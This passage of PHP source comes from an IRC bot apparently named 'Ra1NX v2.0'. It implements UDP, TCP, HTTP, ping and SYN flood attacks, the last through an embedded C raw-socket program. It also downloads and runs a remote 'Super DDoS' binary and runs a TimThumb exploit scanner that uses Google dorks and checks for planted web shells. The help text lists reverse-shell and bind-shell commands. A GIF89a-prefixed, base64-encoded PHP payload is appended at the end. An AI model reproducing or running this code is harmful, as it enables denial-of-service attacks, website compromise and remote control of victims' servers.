if($c == "4")$cn = str_replace(" ","",strip_tags($tr));
if($c == "4")break;
$c++;
}
$cn = str_replace(" ","",$cn);
if($cl != "Transparent")SEND($sender."7[2".substr($cl,0,1)."]4 ".$ip." 5(".$cn.")");
}
}
SEND($sender."7Done!");
}
####[ Ra1NX Port ]####
function port($arg){
global $SOCKET,$sender;
$args = explode(" ",$arg);
$host = $args[0];
$port = $args[1];
$pesan = checkport($host,$port,2);
$pesan = "is ".(eregi("failed",$pesan)?$pesan:"Accepted");
SEND($sender."7Connection to ".$host.":".$port." ".$pesan);
}
function checkport($ip,$port,$timeout){
global $SOCKET,$sender;
$checkport = fsockopen($ip, $port, $errnum, $errstr, $timeout);
return ($checkport)?true:"failed (".$errstr.")";
}
####[ Ra1NX NMap ]####
function nmap($arg){
global $SOCKET,$sender,$shellfunc,$portserv;
$shellfunc("which nmap >/tmp/Ra1NX.nmap 2>&1");
$havenmap = (trim(fgets(fopen("/tmp/Ra1NX.nmap","r"),16)))?1:0;
if($havenmap){shell("nmap ".$arg); return;}
$ghost = explode(" ",$arg);
foreach($ghost as $key => $host){
if(!eregi("^(-).+$",$host) || !is_numeric($host)){
$thehost = $host;
break;
}
}
SEND($sender."7Ra1NX Port Mapper v0.1");
SEND($sender."7Interesting port on ".$thehost.". Scan maybe long. Please wait..");
foreach($portserv as $theport => $servname){
if(!eregi("failed",checkport($thehost,$theport,1))){
$open[] = $theport." open ".$servname;
}
}
foreach($open as $key => $val){
SEND($sender."10".$val);
}
SEND($sender."10Port Mapping done! ".count($open)." opened port");
}
function portserv(){
global $SOCKET,$sender;
$data = httpquery("http://nmap.org/svn/nmap-services");
$rows = explode("
",$data);
foreach($rows as $num => $val){
if(!preg_match("/^(#).+$/",$val)){
if(!preg_match("/^(<pre>).+$/",$val)){
if(!preg_match("/^(unknown).+$/",$val)){
$p = explode(" ",$val);
$q = explode("/",$p[1]);
$portserv[$q[0]] = $p[0];
}
}
}
}
return $portserv;
}
####[ Ra1NX UDP Flood ]####
function udpflood($arg) { //@udpflood host paket time
global $SOCKET,$sender;
$args = explode(" ",$arg);
SEND($sender."10UDP Flood: ".$args[0]." !Size: ".$args[1]." for ".$args[2]." times!");
for($i=0;$i<$args[1];$i++){$packet .= "Ra1NX Mass Flooder!! ";}
$time = $args[2];
do{
$conn = fsockopen("udp://".$args[0],mt_rand(0,65535),$err,$msg,5);
fwrite($conn,$packet);
fclose($conn);
$time--;
}while($time);
SEND($sender."10UDP Flood: ".$args[0]." is done!");
}
####[ Ra1NX TCP Flood ]####
function tcpflood($arg){ //@tcpflood host port paket time
global $SOCKET,$sender;
$args = explode(" ",$arg);
SEND($sender."10TCP Flood: ".$args[0].":".$args[1]." !Size: ".$args[2]." for ".$args[3]." times!");
for($i=0;$i<$args[2];$i++){$packet .= "Ra1NX Mass Flooder!! ";}
$time = $args[3];
do {
$conn = fsockopen("tcp://".$args[0],$args[1],$err,$msg,5);
fwrite($conn,$packet);
fclose($conn);
$time--;
}while($time);
SEND($sender."10TCP Flood: ".$args[0]." is done!");
}
####[ Ra1NX HTTP FLOOD ]####
function httpflood($arg){ //@httpflood google.com 9999999999 999999999t
global $SOCKET,$sender;
$args = explode(" ",$arg);
SEND($sender."10HTTP Flood: ".$args[0]." !Size: ".$args[1]." for ".$args[2]." times!");
for($i=0;$i<$args[1];$i++){$packet .= "Ra1NX Mass Flooder!! ";}
$time = $args[2];
do {
$conn = fsockopen("tcp://".$args[0],80,$err,$msg,5);
fwrite($conn,$packet);
fclose($conn);
$time--;
}while($time);
SEND($sender."10HTTP Flood: ".$args[0]." is done!");
}
####[ Ra1NX Ping Flood ]####
function pingflood($arg){ //@pingflood google.com 99999999
global $SOCKET,$sender,$shellfunc;
$shellfunc("whoami >/tmp/Ra1NX.whoami 2>&1");
$whoami = trim(fgets(fopen("/tmp/Ra1NX.whoami","r"),32));
$shellfunc("rm -f /tmp/Ra1NX.whoami");
if($whoami != "root"){ SEND($sender."10Need root access!"); return; }
$args = explode(" ",$arg);
SEND($sender."Smurf Ping of Death: ".$args[0]." for ".$args[1]." times");
$shellfunc("ping ".$args[0]." -l 65000 -c ".$args[1]." 2>&1");
}
####[ Ra1NX Apache Benchmark Flood ]####
function apacheflood($arg){
global $SOCKET,$sender,$shellfunc;
$shellfunc("which ab >/tmp/Ra1NX.ab 2>&1");
$abfunc = trim(fgets(fopen("/tmp/Ra1NX.ab","r"),128));
if(!$abfunc){ SEND($sender."10Cannot locate apache benchmark. Flooding canceled!"); return; }
$args = explode(" ",$arg);
SEND($sender."10Apache benchmark flood started: ".$args[0]." in ".$args[1]." times");
$shellfunc($abfunc." -n ".$args[1]." -c 300 \ http://".$args[0]."/cgi-bin/search.cgi?q=Ra1NX Mass Flooder 2>&1");
}
####[ Ra1NX SynFlood ]####
function sysnflood($arg){
global $SOCKET,$sender,$shellfunc;
$shellfunc("which gcc >/tmp/Ra1NX.gcc 2>&1");
$gcc = trim(fgets(fopen("/tmp/Ra1NX.gcc","r"),128));
if(!$gcc){
$shellfunc("which cc >/tmp/Ra1NX.gcc 2>&1");
$gcc = trim(fgets(fopen("/tmp/Ra1NX.gcc","r"),128));
}
if(!$gcc){ SEND($sender."10gcc command not found. Synflooding Canceled!"); return; }
$shellfunc($gcc." --help >/tmp/Ra1NX.gcc 2>&1");
$o = fgets(fopen("/tmp/Ra1NX.gcc","r"),3024);
if(!eregi("Usage: gcc ",$o)){ SEND($sender."10gcc command denied. Synflooding Canceled!"); return; }
//blm bisa bikin pakek php. pakek c dulu
$args = explode(" ",$arg);
$syntool = "#include<stdio.h>
#include<netinet/tcp.h>
#include<netinet/ip.h>
typedef struct pseudo_header
{
unsigned int source_address;
unsigned int dest_address;
unsigned char placeholder;
unsigned char protocol;
unsigned short tcp_length;
//char tcp[28];
struct tcphdr tcp;
};
unsigned short csum(unsigned short *ptr,int nbytes) {
register long sum;
unsigned short oddbyte;
register short answer;
sum=0;
while(nbytes>1) {
sum+=*ptr++;
nbytes-=2;
}
if(nbytes==1) {
oddbyte=0;
*((u_char*)&oddbyte)=*(u_char*)ptr;
sum+=oddbyte;
}
sum = (sum>>16)+(sum & 0xffff);
sum = sum + (sum>>16);
answer=(short)~sum;
return(answer);
}
int main (void)
{
int s = socket (PF_INET, SOCK_RAW, IPPROTO_TCP);
char datagram[4096];
struct iphdr *iph = (struct iphdr *) datagram;
struct tcphdr *tcph = (struct tcphdr *) (datagram + sizeof (struct ip));
struct sockaddr_in sin;
struct pseudo_header psh;
sin.sin_family = AF_INET;
sin.sin_port = htons(80);
sin.sin_addr.s_addr = inet_addr ('".$args[0]."');
memset (datagram, 0, 4096);
iph->ihl = 5;
iph->version = 4;
iph->tos = 0;
iph->tot_len = sizeof (struct ip) + sizeof (struct tcphdr);
iph->id = htonl (54321);
iph->frag_off = 0;
iph->ttl = 255;
iph->protocol = IPPROTO_TCP;
iph->check = 0;
iph->saddr = inet_addr ('192.168.1.2');
iph->daddr = sin.sin_addr.s_addr;
iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
tcph->source = htons (1234);
tcph->dest = htons (80);
tcph->seq = 0;
tcph->ack_seq = 0;
tcph->doff = 5;
tcph->fin=0;
tcph->syn=1;
tcph->rst=0;
tcph->psh=0;
tcph->ack=0;
tcph->urg=0;
tcph->window = htons (5840);
tcph->check = 0;
tcph->urg_ptr = 0;
psh.source_address = inet_addr('192.168.1.2');
psh.dest_address = sin.sin_addr.s_addr;
psh.placeholder = 0;
psh.protocol = IPPROTO_TCP;
psh.tcp_length = htons(20);
memcpy(&psh.tcp , tcph , sizeof (struct tcphdr));
tcph->check = csum( (unsigned short*) &psh , sizeof (struct pseudo_header));
{
int one = 1;
const int *val = &one;
if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, val, sizeof (one)) < 0)
//printf ('Warning: Cannot set HDRINCL!n');
}
int counter;
counter = 0;
while (counter < ".$args[1].")
{
//Send the packet
if (sendto (s,
datagram,
iph->tot_len,
0,
(struct sockaddr *) &sin,
sizeof (sin)) < 0)
//printf ('errorn');
//Data send successfully
else
// printf (".");
counter++;
}
return 0;
}
";
$file = fopen("/tmp/Ra1NX.syn.src","a");
fwrite($file,$syntool);
fclose($file);
$shellfunc($gcc." -o /tmp/Ra1NX.syn /tmp/Ra1NX.syn.src");
$shellfunc("chmod +x /tmp/Ra1NX.syn");
$shellfunc("rm -f /tmp/Ra1NX.syn.src");
SEND($sender."10Synflooding: ".$args[0]." for ".$args[1]." times");
$shellfunc("/tmp/Ra1NX.syn 2>&1");
}
####[ Super DDoS ]####
function superdos($arg){
global $SOCKET,$sender,$gudangsenjata,$shellfunc;
$args = explode(" ",$arg);
$shellfunc("pwd >/tmp/Ra1NX.pwd 2>&1");
$dirnow = trim(fgets(fopen("/tmp/Ra1NX.pwd","r"),512));
$shellfunc("cd /tmp");
$dlfunc = downloader();
if(!$dlfunc){SEND($sender."10Cannot download Super DDoS tool");return;}
$shellfunc($dlfunc." ".$gudangsenjata."super");
$shellfunc("chmod +x /tmp/super");
SEND($sender."10Super DDoS: ".$arg[0]);
$shellfunc("/tmp/super ".$arg[0]." ".$arg[1]." Ra1NX Mass Flooder >/tmp/Ra1NX.super.dos 2>&1");
$shellfunc("cd ".$dirnow);
$shellfunc("rm -f /tmp/Ra1NX.super.dos");
}
###[ Ra1NX | add | Google Search By UnKnown ]###
function google($arg){
global $SOCKET,$dropMsg,$sender;
$args=urlencode($arg);
$c = 0;
$host = "http://www.google.co.id/search?q=".$args."&num=20";
SEND($sender."7Gugling for 10".$arg);
$rez = httpquery($host);
$pattern = '#<h3 class="r"><a href="([^"]*)" class=#i';
$count = preg_match_all($pattern, $rez, $matches, PREG_SET_ORDER);
if ($count == 0) { SEND($sender."7Kosong bos, cek lagi kiwot nya :p"); }
else {
for ($i = 0;$i < $count;$i++) {
$urlz = urldecode($matches[$i][1]);
$c++;
if(eregi('http://',$urlz)){
$urlz=str_replace('&','&',$urlz);
SEND($sender."7hasil 10 ".$urlz);
}
}
}
SEND($sender."7Gugling slesae!");
}
###[ Ra1NX | add | TimThumb eXploit by UnKnown ]###
function timid($arg){
global $SOCKET,$sender;
$host = "http://blogger.com.bayareagardener.org/simple.php";
$respond = httpquery($host);
if(eregi("GIF89a",$respond)){
SEND($sender."7Respond Ok");
} else { SEND($sender."7Respond Bad"); }
}
function tim($arg){
global $SOCKET,$dropMsg,$sender;
$args = explode(" ",$arg);
$bug = $args[0];
$dorks = array($args[1],$args[2],$args[3],$args[4],$args[5]);
$dork = implode(" ",$dorks);
$timid = "http%3A%2F%2Fblogger.com.bayareagardener.org%2Fsimple.php";
$md5php = md5(urldecode($timid)).".php";
$c = 0;
SEND($sender."7TimThumb Scanner Start with bug = 10".$bug."7 and dork = 10".$dork);
$list = googling($dork,$m);
$totals = explode("
",$list);
$total = count($totals);
$clean = array_unique($totals);
SEND($sender."7Total -> ".$total." sites");
foreach($clean as $res => $site){
$vulners = array($site,"/",$bug,"?src=",$timid);
$vulner = implode("",$vulners);
#SEND($sender."7Checking ".$site);
$resss = httpquery($vulner);
if(eregi("Unable to open image",$resss)){
SEND($sender."7eXploiting -> ". $site);
$sbug = split('[/]',$bug);
$patrn = "#$sbug[0]([^<]+)$md5php#i";
preg_match($patrn,$resss,$targetpath);
$pathshell = "/".$targetpath[0];
$shells = array("http://",$site,$pathshell);
$shell = implode("",$shells);
$shellzz = httpquery($shell);
$patern = '#<title>([^*]*)<\/([^*]*)SAFE_MODE : (?P<safe>[^*]*)<\/([^*]*)User : (?P<uid>[^*]*)<\/([^*]*)Uname : (?P<uname>[^<]*)#i';
$shellz = preg_match($patern,$shellzz,$dapat);
if($shellz == 0) { SEND($sender."7Gak Nyangkut :("); }
else {
$safe = $dapat['safe'];
$uid = $dapat['uid'];
$uname = $dapat['uname'];
SEND($sender."7Shell -> 10".$shell."7 [SafeMode=10".$safe."7] [OS=10".$uname."7] 10".$uid);
}
}
$c++;
}
SEND($sender."7Scanner Finished for ".$dork);
}
function googling($key,$max) {
global $SOCKET,$sender;
$key = urlencode($key);
$num = 100;
$c = 0;
$tld = array("com","co.id","ae");
$dom = $tld[rand(0,(count($tld)-1))];
for ($p=0;$p<=1000;$p+=10) {
$rez = httpquery("http://www.google.".$dom."/search?num=".$num."&hl=id&q=".$key."&start=".$p."&sa=N",5);
$pattern = '#<h3 class="r"><a href="([^"]*)" class=#i';
$count = preg_match_all($pattern, $rez, $matches, PREG_SET_ORDER);
if ($count == 0) { SEND($sender."7dork jelek"); return $h; }
else {
for ($i = 0;$i < $count;$i++) {
$urlz = urldecode($matches[$i][1]);
preg_match('@^(?:http://)?([^/]+)@i',$urlz, $dapat);
$urls = $dapat[1];
$h .= $urls."
";
# $h .= array_unique($h);
$c++;
# SEND($sender."7".$urls);
}
}
}
SEND($sender.'7Searching Done, please wait for eXploit');
return $h;
}
###[ Ra1NX Command Help ]###
function help($arg){
global $SOCKET,$sender;
$args = explode(" ",$arg);
$opt = $args[0];
$tmpl = $sender."10@";
$hfile[]= 'irc: join #channel msg';
$hfile[]= 'irc: part #channel msg';
$hfile[]= 'irc: cycle #channel msg';
$hfile[]= 'irc: msg nick/#channel msg';
$hfile[]= 'irc: whois nick';
$hfile[]= 'irc: find nick';
$hfile[]= 'irc: nick newnick';
$hfile[]= 'irc: off msg';
$hfile[]= 'flood: tsunami nick/#channel';
$hfile[]= 'flood: ctcpflood nick/#channel';
$hfile[]= 'shell: shell command';
$hfile[]= 'shell: download url';
$hfile[]= 'domaintool: ipwhois hostname';
$hfile[]= 'domaintool: reverse hostname';
$hfile[]= 'domaintool: iptrace hostname';
$hfile[]= 'domaintool: port hostname port';
$hfile[]= 'domaintool: nmap hostname';
$hfile[]= 'domaintool: proxy';
$hfile[]= 'ddos: udpflood target packetsize times';
$hfile[]= 'ddos: tcpflood target port packetsize times';
$hfile[]= 'ddos: httpflood target packetsize times';
$hfile[]= 'ddos: pingflood target times';
$hfile[]= 'ddos: apacheflood target times';
$hfile[]= 'ddos: synflood target packetsize times';
$hfile[]= 'ddos: superdos target port';
$hfile[]= 'rconnect: backconnect ip port {perl|c|nc|php}';
$hfile[]= 'rconnect: bindshell port {perl|nc|php}';
$hfile[]= 'info: info';
$hfile[]= 'info: myself';
$hfile[]= 'info: myip';
$hfile[]= 'info: myshell';
if(!$opt){SEND($sender."2Ra1NX v2.0 Command Help");}
foreach($hfile as $key => $val){
$send = true;
if($opt!=""){
$send = (eregi($opt.":",$val))?true:false;
}
if($send){
SEND(((eregi("shell command",$val))?$sender."10":$tmpl).substr($val,(strpos($val,": ")+2),strlen($val)));
}
}
if(!$opt){SEND($tmpl."help {irc|flood|ddos|domaintool|rconnect|shell|info}");}
}
###[ Ra1NX AddOns ]###
function beArray($val,$param=','){
$val = str_replace("
","",$val);
$val = str_replace("
","",$val);
$val = str_replace(" ","",$val);
$val = str_replace(" ","",$val);
return explode($param,$val);
}
function random($var){
$var = beArray($var);
$max = count($var)-1;
$key = rand("0",$max);
$output = str_replace(" ","",$var[$key]);
$output = str_replace("
","",$output);
$output = str_replace("
","",$output);
$output = str_replace(" ","",$output);
return $output;
}
Did this file decode correctly?
Original Code
GIF89a???????????!??????,???????D?;?<?php
error_reporting(0);
$strtodecode = '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